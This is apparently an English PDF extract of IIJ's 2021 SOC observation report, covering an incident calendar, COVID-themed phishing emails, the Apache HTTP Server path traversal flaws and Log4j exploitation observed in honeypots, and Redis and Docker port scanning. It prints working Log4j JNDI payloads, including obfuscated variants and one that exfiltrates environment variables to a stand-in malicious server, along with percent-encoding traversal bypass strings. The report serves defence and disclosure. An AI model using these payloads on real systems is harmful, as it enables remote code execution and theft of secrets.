1. Periodic Observation Report

SOC Report

1.1 Introduction

1.2 2021 Security Summary

IIJ launched the wizSafe security brand in 2016 and works

Tables 1 and 2 show the security incidents that the SOC

constantly to create a world in which its customers canfocused on from among those that rose to prominence in

use the Internet safely. The SOC communicates a variety

2021.

of information on security issues via the wizSafe Security
Signal*1 site and conducts analyses of threat information
using IIJ’s Data Analytics Platform, which collects logs
from IIJ services.
This report summarizes a year’s worth of our SOC’s
observations and communicates information in a format
that makes it easy to revisit past events. Section 1.2
looks at security topics that rose to prominence in Japan
in 2021 in a calendar format, and Section 1.3 discusses
observations our SOC analysts focused on in a variety of
categories.

*1

4

wizSafe Security Signal (https://wizsafe.iij.ad.jp/).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report

Table 1: Incident calendar (January–May)
Month

Summary/URL(s)January

Europol (the EU’s law enforcement agency) announced that Operation Ladybird, a joint effort among eight countries, had taken down attack
infrastructure used by the Emotet malware.
(Europol)"World’s most dangerous malware EMOTET disrupted through global action" https://www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerousmalware-emotet-disrupted-through-global-action

January

A foreign security company announced that Dnsmasq contains a DNS cache poisoning vulnerability and a buffer overflow vulnerability. This seriesof vulnerabilities is named DNSpooq.
(JSOF)
https://www.jsof-tech.com/disclosures/dnspooq/

January

SonicWall announced that it had confirmed a zero-day attack on its SMA 100 series of SSL-VPN appliances. It later announced that the zero-day
attack exploited a vulnerability (CVE-2021-20016) allowing unauthenticated remote access to credentials via SQL injection in build versions 10.x ofthe products.
(SonicWall)"Additional SMA 100 Series 10.x and 9.x Firmware Updates Required [Updated April 29, 2021, 12:30 P.M. CST]" https://www.sonicwall.com/support/productnotification/urgent-patch-available-for-sma-100-series-10-x-firmware-zero-day-vulnerability-updated-feb-3-2-p-m-cst/210122173415410/"Vulnerability List"
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0001

January

It was revealed that part of the source code of programs used in the systems of several Japanese companies had been released on GitHub.

February

A number of users who use certain features such as Salesforce Communities reported that the improper configuration of access control
permissions in the relevant products meant that information had been made viewable to third parties when it was not supposed to be.
(NISC)
https://www.nisc.go.jp/pdf/policy/infra/salesforce20210129.pdf

February

A staffing agency announced that a Web server managing its comprehensive career change information site had been subject to unauthorized
external access and that around 210,000 online user resumes may have been viewed.

February

Soliton Systems announced that some versions of the file/data transfer appliance FileZen contain an OS command injection vulnerability(CVE-2021-20655). A version that fixes the vulnerability was released the following month.
(Soliton Systems)
https://www.soliton.co.jp/support/2021/004334.html

March

Microsoft released a security update covering several vulnerabilities in Microsoft Exchange Server. The vulnerabilities fixed included remote code
execution vulnerabilities already confirmed to have been exploited (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065).
CVE-2021-26855 is also known as ProxyLogon.
(Microsoft)
https://msrc-blog.microsoft.com/2021/03/02/20210303_exchangeoob/

March

A foreign security company reported that many attacks exploiting zero-day vulnerabilities in Accellion FTA file transfer appliance servers werebeing observed.
(FireEye)https://www.fireeye.com/blog/jp-threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html

March

A consulting firm disclosed that personal information it had received from national and local government agencies, including names andaddresses, may have been leaked after a third party gained unauthorized access to its servers and infected them with ransomware.
(Landbrains)
http://www.landbrains.co.jp/hp/doc/210302.pdf
https://www.landbrains.co.jp/hp/doc/210519.pdf

April

A foreign security company disclosed a set of nine vulnerabilities related to the DNS protocol’s message compression affecting the TCP/IP stacks
in FreeBSD, IPNet, NetX, and Nucleus NET. It refers to these vulnerabilities collectively as NAME:WRECK.
(Forescout)https://www.forescout.com/research-labs/namewreck/

April

A government agency announced that its COVID-19 vaccination booking system for healthcare professionals contains a fault that allows the
personal information of people booked into the system to be viewed by using an analysis tool to perform a specific operation on the system.
Personal information on around 270,000 people booked into the system—including name, date of birth, occupation, and vaccination coupon
number—was accessible.
(Tokyo Metropolitan Government)
https://www.metro.tokyo.lg.jp/tosei/hodohappyo/press/2021/04/28/20.html

May

A foreign oil pipeline operator announced that it had taken steps to temporarily suspend operations due to a ransomware-based cyberattack. The
US Federal Bureau of Investigation (FBI) later announced that a group called DarkSide was responsible for the attack.
(FBI)
https://www.fbi.gov/news/pressrel/press-releases/fbi-statement-on-compromise-of-colonial-pipeline-networks

May

The operator of a matchmaking app disclosed that unauthorized external access to the app’s servers may have resulted in the leak of around 1.71
million images used for age verification, including images of driver’s licenses, health insurance cards, passports, and My Number cards.
(Net Marketing Co. Ltd.)
https://www.net-marketing.co.jp/news/5873/

May

A Japanese electrical equipment manufacturer announced that some projects that use a project information sharing tool that it provides were
subject to unauthorized third-party access, resulting in some stored customer information being exposed. The exposed information includes
information from multiple government agencies.
(Fujitsu)
https://pr.fujitsu.com/jp/news/2021/05/25.html
https://pr.fujitsu.com/jp/news/2021/08/11.html
https://pr.fujitsu.com/jp/news/2021/09/24-3.html
https://pr.fujitsu.com/jp/news/2021/12/9-1.html© Internet Initiative Japan Inc.

5

Table 2: Incident calendar (June–December)

6

Month

Summary/URL(s)June

Foreign security experts released proof-of-concept (PoC) code for a vulnerability in Windows Print Spooler called PrintNightmare. The PoC was
intended as an attack method against a privilege elevation vulnerability (CVE-2021-1675) in Windows Print Spooler that was fixed in a Microsoft
monthly security update, but it was revealed that the code could exploit a remote code execution vulnerability (CVE-2021-34527) that is different
from CVE-2021-1675. The following month, Microsoft released a special security update that included a fix for the vulnerability.
(Microsoft)
https://msrc-blog.microsoft.com/2021/07/06/20210707_windowsprintspooleroob/

June

A foreign company that provides comprehensive IT management software announced that systems providing its IT system monitoring, automation,and other services fell victim to a supply chain attack exploiting a zero-day vulnerability in the company’s products. The supply chain attack
infected customers of managed service providers (MSPs) with ransomware.
(Kaseya)https://www.kaseya.com/potential-attack-on-kaseya-vsa/

July

A foreign security company revealed an elevation of privilege vulnerability (CVE-2021-3438) in printer drivers provided by multiple companies. It
estimated that millions of printers worldwide were vulnerable.
(SentinelOne)
https://labs.sentinelone.com/cve-2021-3438-16-years-in-hiding-millions-of-printers-worldwide-vulnerable/

July

Microsoft announced that software in Windows 10 Version 1809 and later contains an elevation of privilege vulnerability (CVE-2021-36934) due toflaws in Access Control Lists (ACLs) on multiple system files. A fix was not available when the vulnerability was disclosed. As a workaround,
Microsoft recommended fixing registry file ACLs and deleting shadow copies created by the Volume Shadow Copy Service (VSS). The vulnerability
was fixed in the following month’s monthly security update.
(Microsoft)
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934

AugustForeign security experts released details of ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) in Microsoft Exchange
Server. The vulnerabilities were fixed by Microsoft’s monthly security updates for April and May.
(DEVCORE)
https://devco.re/blog/2021/08/22/a-new-attack-surface-on-MS-exchange-part-3-ProxyShell/

AugustA foreign security group released information about a vulnerability (CVE-2021-33766) called ProxyToken in Microsoft Exchange Server. The
vulnerability was fixed by the monthly security update released in July.
(Zero Day Initiative)
https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server

AugustA foreign mobile communications company announced that its systems had fallen victim to a cyberattack, resulting in information on around 50
million current customers, prepaid customers, former customers, and prospective customers being compromised.
(T-Mobile)
https://www.t-mobile.com/news/network/additional-information-regarding-2021-cyberattack-investigation

September

The Apache Software Foundation released Apache HTTP Server 2.4.49, a security update addressing vulnerabilities in Apache HTTP Server. A
vulnerability (CVE-2021-41773) due to the fix made in 2.4.49 was discovered, however, and 2.4.50 was released the following month. As that fix was
found to be insufficient, 2.4.51 was released a few days later to fix the remaining vulnerability (CVE-2021-42013).
(Apache Software Foundation)
https://httpd.apache.org/security/vulnerabilities_24.html#2.4.50
https://httpd.apache.org/security/vulnerabilities_24.html#2.4.51

September

Microsoft announced that MSHTML contains a remote code execution vulnerability (CVE-2021-40444). An attacker could exploit the vulnerability bycreating an Office document that exploits ActiveX controls in Internet Explorer and causing a user to open the document. Exploits had already been
detected when the vulnerability was published. A security update program that fixes the vulnerability was released the same month.
(Microsoft)
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444

October

A telecommunications carrier announced that social media phishing messages claiming to be from the company’s service resulted in users being
defrauded of their funds. The messages tricked users into installing a fake app and entering their PIN. The company revealed that around 1,200
users had been affected, with damages totalling roughly 100 million yen.
(NTT Docomo)
https://www.nttdocomo.co.jp/info/notice/page/211002_00.html

November

Emotet activity resumed from around mid-November, and IPA and other security organizations issued warnings.
(IPA)
https://www.ipa.go.jp/security/announce/20191202.html

November

JPCERT/CC announced an increase in reports of phishing aimed at obtaining webmail service account information.
(JPCERT/CC)
https://www.jpcert.or.jp/at/2021/at210049.html

November

A foreign domain registrar announced that unauthorized access to its managed hosting system resulted in information on up to 1.2 million
customers being exposed.
(GoDaddy)
https://aboutus.godaddy.net/newsroom/company-news/news-details/2021/GoDaddy-Announces-Security-Incident-Affecting-Managed-WordPress-Service/def
ault.aspx

December

The Apache Software Foundation announced that Apache Log4j 2 contains a remote code execution vulnerability (CVE-2021-44228) and released a
fixed version. As the fix was insufficient, however, new vulnerabilities (CVE-2021-44832, CVE-2021-45046, CVE-2021-45105) were discovered,leading to a string of fixes being released.
(Apache Software Foundation)
https://logging.apache.org/log4j/2.x/security.html#log4j-2.15.0
https://logging.apache.org/log4j/2.x/security.html#log4j-2.16.0
https://logging.apache.org/log4j/2.x/security.html#log4j-2.17.0
https://logging.apache.org/log4j/2.x/security.html#log4j-2.17.1© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report

1.3 Security Topics• Subject lines about meeting invitations

This section looks at key topics our analysts focused on

Emails with subjects that include words associated withfrom among attacks detected by our SOC in 2021.

meeting notifications and invitations.

1.3.1 Analysis of Suspicious Email Subject Lines (2021)

We used these words to analyze subject lines for the following

Like 2020, 2021 also brought many topics and events

three reasons. Interest in words associated with COVID-

of considerable interest to people. Specific examples include

19 itself and the vaccines was likely high because of thecompanies promoting remote work to guard against

emergence of variants and the start of vaccine rollouts*2.

COVID-19 infections and the government’s use of states

Interest in words associated with remote work and governmentof emergency to combat the spread of COVID-19. Other

pronouncements was likely high because of the government

talking points included the spread of COVID-19 variants

encouraging the use of remote work and declaring statesand vaccination-related topics. Our SOC, meanwhile, observedof emergency*3. And we also looked at words associatedcyberattack emails that made use of topics under thewith meeting invitations because companies and otherspotlight in 2021. This section looks at observational data

organizations are migrating their information systems into

on attack emails with subject lines that included words ofthe cloud and the number of companies making use of online

particular interest in the context of 2021. We go over the

meetings (one example of a cloud service) is rising*4.

following three types of email subjects.
First, we graph detections of these three word types in• Subject lines related to COVID-19 and vaccines

subject lines during the year (Figure 1). The figures are

Emails with subjects that include COVID-19 terms directly

normalized so that the total number of emails detected for(e.g., SARS-CoV-2, corona) as well as vaccines used toeach word type during the period corresponds to 100% on

prevent infections.

the vertical axis.

• Subject lines related to remote work and government

Figure 1 shows that we detected a lot of attack emails in

pronouncements

January, which we confirmed were carrying downloaders

Emails with subjects that include words associated withfor the information-theft malware Emotet. Europol (the EU’s

remote work (e.g., home work, telework) and words as-

law enforcement agency) announced on January 27 thatsociated with government pronouncements (e.g., state of

the Emotet attack infrastructure had been taken down,

emergency, lockdown).

and the SOC did not receive any emails carrying an Emotet(No. of detections)
100%
90%
80%
70%
60%
50%
40%
30%

■ Words associated with COVID-19
and vaccines20%■ Words associated with remote workand government pronouncements

10%0%■ Words associated with meeting
invitations
Jan.

Feb.

Mar.

Apr.

May

Jun.

Jul.

Aug.

Sep.

Oct.

Nov.

Dec.

(Month)Figure 1: No. of Attack Emails Detected with 3 Word Types Relevant to 2021 in the Subject Line (2021)*2

NHK, World vaccination overview (https://www3.nhk.or.jp/news/special/coronavirus/vaccine/world_progress/, in Japanese).

*3

Ministry of Internal Affairs and Communications, Promotion of telework (https://www.soumu.go.jp/main_sosiki/joho_tsusin/telework/, in Japanese).

*4

Ministry of Internal Affairs and Communications, 2021 White Paper on Information and Communications in Japan (https://www.soumu.go.jp/johotsusintokei/whitepaper/
ja/r03/html/nd105210.html, in Japanese).

© Internet Initiative Japan Inc.

7

downloader between February and October*5. Unfortunately,

likely to be perceived as suspicious and less likely to be

Emotet did resurface, and the SOC again began detecting

detected by security devices. Table 3 shows examples of

emails with Emotet downloaders from November. Note thatemails detected in April, May, and August.

Trickbot was also observed being used to facilitate Emotet
infections on November 14*6.

The subject line of the email detected in May indicates
it contains guidelines on COVID-19. The From header of■ Emails containing words associated with COVID-19 andthis email contains who[.]com, suggesting it is designed
to look like it is from the World Health Organization

the vaccines
Throughout 2021, we detected a lot of emails with attach-(WHO). Emails from this domain can be mistaken as being

ment that used words associated with COVID-19 andgenuine unless you know the correct WHO domain. WHO

the vaccines. Aside from January and its high volume

has issued a warning about attack emails purporting to beof Emotet detections, we detected many such emails infrom WHO and urging people to check that the domain in

April, May, and August. A characteristic of emails detected

the sender’s address is who.int, WHO’s official domain*7.

in these months is that they were designed to be less

Table 3: Examples of Emails Using Words Associated with COVID-19 and the VaccinesMonth

Subject line

MalwareApril<Name of delivery agent> Customer Advisory - COVID-19 ECRS Update 5

Agent Tesla

May

4TH WAVE OF COVID-19 READ FOR URGENT GUIDELINESFormBook

AugustCOVID-19 fight in a strike last to receive the virus tears

BuerLoader

AugustCOVID-19 a long as the findings and crew in the CDC

BuerLoader

AugustCOVID-19 have provided theyre vaccinated people fully immunized with travel and

BuerLoader(No. of detections)
100%
90%
80%
70%
60%
50%
40%
30%

■ Words associated with COVID-19
and vaccines20%■ Words associated with remote workand government pronouncements

10%0%■ Words associated with meeting
invitations
Jan.

Feb.

Mar.

Apr.

May

Jun.

Jul.

Aug.

Sep.

Oct.

Nov.

Dec.

(Month)Figure 2: No. of Attack Emails Detected with 3 Word Types Relevant to 2021 in the Subject Line (excl. Emotet; 2021)*5

Europol, “World’s most dangerous malware EMOTET disrupted through global action” (https://www.europol.europa.eu/media-press/newsroom/news/
world%e2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action).

8*6Cyber.WTF, “Guess who’s back” (https://cyber.wtf/2021/11/15/guess-whos-back/).

*7

WHO, “Beware of criminals pretending to be WHO” (https://www.who.int/about/cyber-security).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report

In August, we detected email with a downloader for the■ Emails containing words associated with remote work

malware BuerLoader attached. The email had the following
characteristics.

and government pronouncements
We observed many Emotet attacks among emails containing
words associated with remote work and government• Part of the From header is one of the following, and upon

pronouncements (Table 4). We detected many emails withdividing the string into words, it appears the sender iswords associated with remote work in January and many

pretending to be an institution or healthcare professionalwith words associated with government pronouncements

associated with COVID-19.

in January and December. Below are specific examples of• covidregions[.]com

emails detected in January and December. We confirmed that• covidhospitalgeer[.]com

all of these emails were carrying the Emotet downloader.

• covidadministration[.]com• covid-19callcenter[.]com

The Japanese government declared a state of emergency• The previous BuerLoader was written in C, but the variant

in January, and this is probably why attackers sent out

observed in August was coded in Rust. This means it may

emails pretending to be about the state of emergency

not be detectable with old detection signatures*8.

declaration, and about remote work, which companies
promoted in response. In December, we detected emails

With interest in the Delta COVID-19 variant growing in

about the state of emergency being lifted as well as a

August, attackers look to have used COVID-19 themes

redeclaration. The state of emergency declared in 2021

in their attacks around that time . And the BuerLoader

was in place until September 30, and the government did

downloaded in these attacks was designed to avoid

not redeclare one in December. We surmise that attackers

detection by security devices.

may have used the term “state of emergency”, despite*9

Table 4: Examples of Emails Using Words Associated with Remote Work and Government Pronouncements
Month

Subject line

January

Fwd: Information on telework roles

January

Re: [Info] About dispatching telework advisors (<name of local government>)

JanuaryWork attendance at time of health examination

January

Notice on our response to COVID-19 infections

January

Response following issuance of state of emergency

December

Re: Our Group’s response to the lifting of the COVID-19 state of emergency

DecemberFwd: Our Group’s response following the lifting of the COVID-19 state of emergency

December

RE: State of emergency declaration

December

RE: Our Group’s thorough response to the COVID-19 state of emergency redeclaration*8*9

Proofpoint, “New Variant of Buer Loader Written in Rust” (https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust).
Proofpoint, “As Delta Variant Spreads, COVID-19 Themes Make Resurgence In Email Threats” (https://www.proofpoint.com/us/blog/threat-insight/delta-variantspreads-covid-19-themes-make-resurgence-email-threats).

© Internet Initiative Japan Inc.

9

one not actually having been declared, in order to piqueemails taking advantage of such themes of high interest to

users’ interest.

people. Steps to guard against suspicious emails include
not carelessly opening email attachments and looking■ Emails containing words associated with meeting

carefully at the sender’s email address.

invitations
We detect a lot of emails containing the name of a company

1.3.2 Two vulnerabilities that made waves in 2021

or organization among emails that used words associated

Two sets of Apache software vulnerabilities made waves

with meeting invitations. We have also determined thatin the latter half of 2021. One was a set of Apache HTTP

the number of emails about meeting invitations detected

Server vulnerabilities (CVE-2021-41773*10, CVE-2021-

in 2020 and 2021 was higher than in 2019. This is possibly

42013*11) disclosed in October. Initially considered a pathbecause, with online meetings being used in an increasing

traversal vulnerability, CVE-2021-41773 was later also

number of situations as companies migrate to the cloud,designated a Remote Code Execution (RCE) vulnerability

attackers are crafting attack emails to look like meetingand marked as critical, the most serious category. The

invitations in an effort to reduce suspicion. We were notother was a set of Apache Log4j vulnerabilities (CVE-able to find any association between the month in which2021-44228*12, CVE-2021-45046*13) that allowed RCE.

we detected these emails and prominent events that took

These were disclosed in December and, as with theplace in Japan at the time. Table 5 shows examples of emails

Apache HTTP Server vulnerabilities, were marked critical.

containing words associated with meeting invitations.

In both cases, a single software update was insufficient
to patch the vulnerabilities and attack activity continued■ Summary

to appear. This section details these two critical sets of

In 2021, attackers sent out many emails containing content

vulnerabilities and summarizes what our SOC observed.

associated with the prominent themes of COVID-19,
remote work, and meeting invitations. And we discoveredthat attackers had been using a range of techniques tomake their attacks succeed. As of end-December 2021,■ Apache HTTP Server vulnerabilities(CVE-2021-41773, CVE-2021-42013)

the COVID-19 Omicron variant had spread throughout the

On October 4 (US time), the Apache Software Foundationworld, and interest in COVID-19-related content no doubt

released Apache HTTP Server 2.4.50 (web server soft-remains high. So we expect to continue to see attackware) containing a fix for a path traversal vulnerability

Table 5: Examples of Emails Using Words Associated with Meeting Invitations

10

Month

Subject line

MalwareJanuary

Re: Invitation emails for “executive test meeting” being sent out

EmotetApril[<Company name>] Request for Meeting on Construction works in Jordan -<Project name>

STRRAT

June

Meeting Notification

Snake Keylogger

DecemberMeeting schedule

Emotet*10

MITRE, “CVE-2021-41773” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773).

*11

MITRE, “CVE-2021-42013” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013).

*12

MITRE, “CVE-2021-44228” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228).

*13

MITRE, “CVE-2021-45046” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report(CVE-2021-41773) in Apache HTTP Server 2.4.49*14.

to timezone differences, the observed decline on Sundays

The vulnerability occurred because the “%2e” and “%2E”

and Mondays in Japan corresponds to a decline in attack

percent encodings of the “.” character, which is used

activity on Saturdays and Sundays abroad. Some 85.7%

to traverse paths in HTTP requests, were not taken intoof all attacks were using “%2e”, but since October 9,

account. This made it possible to read files locatedimmediately after CVE-2021-42013 was disclosed, we

outside the document root and execute remote code via

have also observed patterns that use recursive encoding

CGI scripts. Apache HTTP Server 2.4.50 attempted to fix

since.

this by also checking for “%2e” and “%2E”. An investigation
by our analyst*15, however, revealed that path traversal

These vulnerabilities can be addressed by updating towas still possible because strings like “%%32%65”,

Apache HTTP Server 2.4.51 or later. Please consider

which re-encodes “%2e”, were being recursively parsed

updating to the latest release if you are currently runningas percent encodings, and we reported this to the Apachean affected version.

Security Team*16.

Apache HTTP Server 2.4.51, which

fixes CVE-2021-42013, was subsequently released on
October 7*17. We observed attacks targeting the above
two vulnerabilities in our honeypots (Figure 3).

■ Apache Log4j vulnerabilities(CVE-2021-44228, CVE-2021-45046)
On December 10, a version of Apache Log4j 2 (Javalogging library) that fixed an RCE vulnerability (CVE-

Our SOC began detecting attacks on October 6, immediately

2021-44228) was released*18. This fix was incomplete,after CVE-2021-41773 was disclosed, and this activity

however, and a series of fixes for new vulnerabilities (CVE-

persisted through the end of 2021 and is ongoing in 2022.

2021-44832*19, CVE-2021-45046, CVE-2021-45105*20)

By day of week, around 24.1% of the activity is focused onwere subsequently released. CVE-2021-44228 and CVE-

Fridays and less than 10% on Sundays and Mondays. Due

2021-45046, in particular, are considered critical (the(No. of detections)

300
250
200
150
100
50

■ %2e
■ %%32%65
■ %2E

.1

(Date)

D
ec

.1
N
ov

O

ct

.6

0

Figure 3: Observed Attacks Targeting Apache HTTP Server Vulnerabilities (Oct.–Dec. 2021)*14

Apache Software Foundation, “Fixed in Apache HTTP Server 2.4.50” (https://httpd.apache.org/security/vulnerabilities_24.html#2.4.50).

*15

wizSafe Security Signal, “Discovery of path transversal vulnerability in Apache HTTP Server 2.4.50” (https://wizsafe.iij.ad.jp/2021/10/1285/, in Japanese).

*16

Apache Security Team (https://www.apache.org/security/).

*17

Apache Software Foundation, “Fixed in Apache HTTP Server 2.4.51” (https://httpd.apache.org/security/vulnerabilities_24.html#2.4.51).

*18

Apache Software Foundation, “Apache Log4j Security Vulnerabilities” (https://logging.apache.org/log4j/2.x/security.html).

*19

MITRE, “CVE-2021-44832” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832).

*20

MITRE, “CVE-2021-45105” (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105).

© Internet Initiative Japan Inc.

11

most serious type) and, if exploited, allow information

In the early stages, strings used in such attacks contained

theft and RCE. Apache Log4j is a widely used Java library,expressions like “${jndi:ldap” and “${jndi:dns”, and ourso this became a major security industry topic. An example

SOC also observed such attacks starting from late at nightof an attack is illustrated below (Figure 4).

on December 10. As awareness of such attacks spread
and administrators took steps such as blocking theseIn the Apache Log4j 2 library, dynamic log output isstrings, attackers began trying workarounds using otherachieved by using Lookup functions*21 to process specificvalid expressions in the Apache Log4j Lookup syntax. These

character strings in the logs as variables. One is JNDI

are the strings like “${lower:”, “${env:”, and “${::-” also shown

Lookup, which contributed to the vulnerability. JNDI

in Figure 5. Apache Log4j Lookup allows nesting of “${}”, so

Lookup can be exploited to execute arbitrary external“${jndi:${lower:l}${lower:d}${lower:a}${lower:p}}” is parsed

code and steal environment variables. First, the attacker

as “${jndi:ldap}”. Another observed technique was thesends data with a header containing an exploit string touse of default Lookup values through the “:-” syntax. If

a server with the Apache Log4j vulnerability. The receiving

a value being looked up is not found, Apache Log4j uses

server uses JNDI Lookup to process this, causing it to

the default value, so you can output the character “j” withdownload and execute Java code prepared by the attacker“${::-j}”. Similarly, attackers can also look up nonexistentfrom a specified URL. Our honeypot observations appear

environment variables as a way of using default values as

below (Figure 5).

a workaround, with strings like “${evn:NaN:-j}”.

1. Sends malicious string${jndi:ldap://malicious.server.com/x}

Attacker
2. Request
ldap://malicious.server.com/x
3. Response containing malicious Java code

Malicious server

Vulnerable server
4. Executes malicious Java code

Figure 4: Flowchart of Attack Exploiting the Apache Log4j Vulnerability(No. of detections)
900
800
700
600
500

■ ${jndi:ldap://■ ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://■ ${jnd${123%ff:-${123%ff:-i:}}ldap://■ {${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//■ ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://■ ${jndi${nagli:-:}ldap:${::-/}/■ ${jndi:iiop://■ ${jndi:dns://

400
300
200
100

1

0

ec

.3

(Date)

D

9

.3
ec

D

8

.2
ec

D

7

.2
ec

D

6

.2
ec

D

5

.2
ec

D

4

.2
ec

D

3

.2
ec

D

2

.2
ec

D

1

.2
ec

D

0

.2
ec

D

9

.2
ec

D

8

.1
ec

D

7

.1
ec

D

6

.1
ec

D

5

.1
ec

D

4

.1
ec

D

3

.1
ec

D

2

.1
ec

D

1

.1
ec

D

.1

.1
ec

D

D

ec

0

0

Figure 5: Observations of Attacks Targeting the Apache Log4j Vulnerability (December 2021)

*21

12

Apache Software Foundation, “Log4j 2 Lookups” (https://logging.apache.org/log4j/2.x/manual/lookups.html).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report

We have also observed attacks designed to steal environment

activity targeting Elasticsearch (9200/TCP)*23. In 2021,

variables in the following form:

we observed a significant increase in scanning, particularly“${jndi:ldap://malicious.server.com/

on 6379/TCP and 2375/TCP. The 6379/TCP port is used

operatingSystem=$(sys:os.name)/by the in-memory database Redis. Redis has no password

hostName=${env:HOSTNAME}}”set by default, so if you expose it publicly, people canaccess it without a password. An attacker could exploit

The vulnerabilities discussed here can be addressed

the config command or slaveof command to executeby updating to the latest version of Java. If you cannot

arbitrary commands*24. The 2375/TCP port is used by

update immediately because you are still investigating

the container platform Docker. If a Docker daemon thatthe impact of the changes or whatnot, please consider

can operate containers is exposed to external access, anworkarounds such as disabling Apache Log4j and JNDI

attacker may deploy a malicious container image and

Lookups, using a WAF, and so forth. We also recommend

execute arbitrary commands*25.

you check for the existence of any suspicious processes
and files to see if you have received an attack or not.

Table 6 shows the top 10 TCP ports on which scanningwas observed on the IIJ Managed Firewall Service in 2020

1.3.3 Cryptocurrency-related Scanningand 2021. Scans on 6379/TCP rose from 13th (2020) to

Our SOC has observed scans targeting hosts that are

6th place (2021), with the number of scans increasing

open to the Internet. In 2019, we discussed scanning

3.11 times. Scans on 2375/TCP rose from 39th (2020)

activity targeting JSON-RPC used in an Ethereum client

to 9th place (2021), with the number of scans increasing(8545/TCP)*22, and in 2020, we discussed scanning

6.15 times.

Rank

2020

2021

1

23/TCP

23/TCP2

445/TCP

22/TCP

3

80/TCP

80/TCP

48080/TCP

8080/TCP

5

22/TCP

443/TCP6

81/TCP

6379/TCP

7

3389/TCP

445/TCP

81433/TCP

81/TCP

95555/TCP

2375/TCP

108545/TCP

3389/TCP

Table 6: Top 10 TCP Ports by Numberof Scans Observed in 2020 and 2021

*22Internet Infrastructure Review (IIR) Vol. 42, “Observational Data” (https://www.iij.ad.jp/en/dev/iir/pdf/iir_vol42_report_EN.pdf).

*23

Internet Infrastructure Review (IIR) Vol. 46, “Observational Data” (https://www.iij.ad.jp/en/dev/iir/pdf/iir_vol46_report_EN.pdf).

*24

Trend Micro, “Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining” (https://www.trendmicro.com/en_us/research/20/d/
exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html).

*25

Palo Alto Networks, “Attacker’s Tactics and Techniques in Unsecured Docker Daemons Revealed” (https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/).

© Internet Initiative Japan Inc.

13

Figures 6 and 7 show scanning on 6379/TCP and 2375/

and trended down until October 2021, but then increased

TCP, respectively, as a percentage of all scanning observed

again from mid-December 2021.

on the IIJ Managed Firewall Service over January 2020
– December 2021. The data are normalized so that total

The increase in scans on 6379/TCP (Redis) and 2375/

scanning activity over the period corresponds to 100% on

TCP (Docker) was confirmed by Japan’s National Institutethe vertical axis.

of Information and Communications Technology (NICT)
and the JPCERT Coordination Center (JPCERT/CC)*26,*27.

Figure 6 shows that scans on 6379/TCP increased sharply

It was also reported that these ports were the target of

in March 2021, rising 2.73 fold versus February 2021.

attacks by the cryptojacking group TeamTNT*28,*29. WhenThe number of scans trended down from April to Julya host is infected with TeamTNT malware, it downloads

2021, but we continued to observe many scans throughand runs mining tools. Scans aimed at spreading malware

December 2021. Figure 7 shows that scans on 2375/TCP

infections are also run in addition to this mining activity,

increased sharply in May 2021, rising 2.31 fold versus

and this may have had an influence on the increase in

April 2021. The number of scans peaked in July 2021

scans on these ports.

.1

.1

ec
D

ct

ov

.1

N

1

O

.1

1
Ju
l.

Se
p.

1
Ju
n.

Au
g

1
ay
M

.1

.1

Ap
r

.1

ar
M

1,

(Date)

Ja

n.

Ja
n.

Fe
b

20
21

.1

1

ec

ov
.

D

.1

N

1

ct

1

Se
p.

O

1
l.

1

Au
g.

Ju

n.

1

Ju

1

ay
M

1

Ap
r.

1
M

Fe
b.

20
1,

ar
.

0.5
0.45
0.4
0.35
0.3
0.25
0.2
0.15
0.1
0.05
0

20

Proportion of total(%)

Figure 6: Scanning Activity on 6379/TCP (January 2020 – December 2021)

(%)

0.7
0.6

Proportion of total

0.5
0.4
0.3
0.2
0.1

.1
ec
D

.1
ov
N

1
p.

1

ct
.1
O

Se

1

l.
1

g.
Au

Ju

n.
Ju

1
ay
M

Ap

r.

1

.1
ar
M

1
b.
Fe

21

.1

20
n.

1,

.1

ec
D

ov
N

.1

.1

1

.1

ct
O

Se
p

Au
g

l.

1

1

Ju

n.
Ju

.1

ay
M

Ap
r

.1

.1

ar
M

Fe
b

(Date)

Ja

Ja

n.

1,

20

20

0

Figure 7: Scanning Activity on 2375/TCP (January 2020 – December 2021)

14

*26

NICT, “NICTER observational statistics for April–June 2021” (https://blog.nicter.jp/2021/09/nicter_statistics_2021_2q/, in Japanese).

*27

JPCERT/CC, “Internet Threat Monitoring Report (July 1, 2021 – September 30, 2021)” (https://www.jpcert.or.jp/english/doc/TSUBAMEReport2021Q2_en.pdf).

*28

Aqua Security Software, “Threat Alert: TeamTNT is Back and Attacking Vulnerable Redis Servers” (https://blog.aquasec.com/container-attacks-on-redis-servers).

*29

Palo Alto Networks, “Black-T: New Cryptojacking Variant from TeamTNT” (https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/).

© Internet Initiative Japan Inc.

May.2022

Vol.

54

1. Periodic Observation Report

In the case of Docker, it has been reported that some

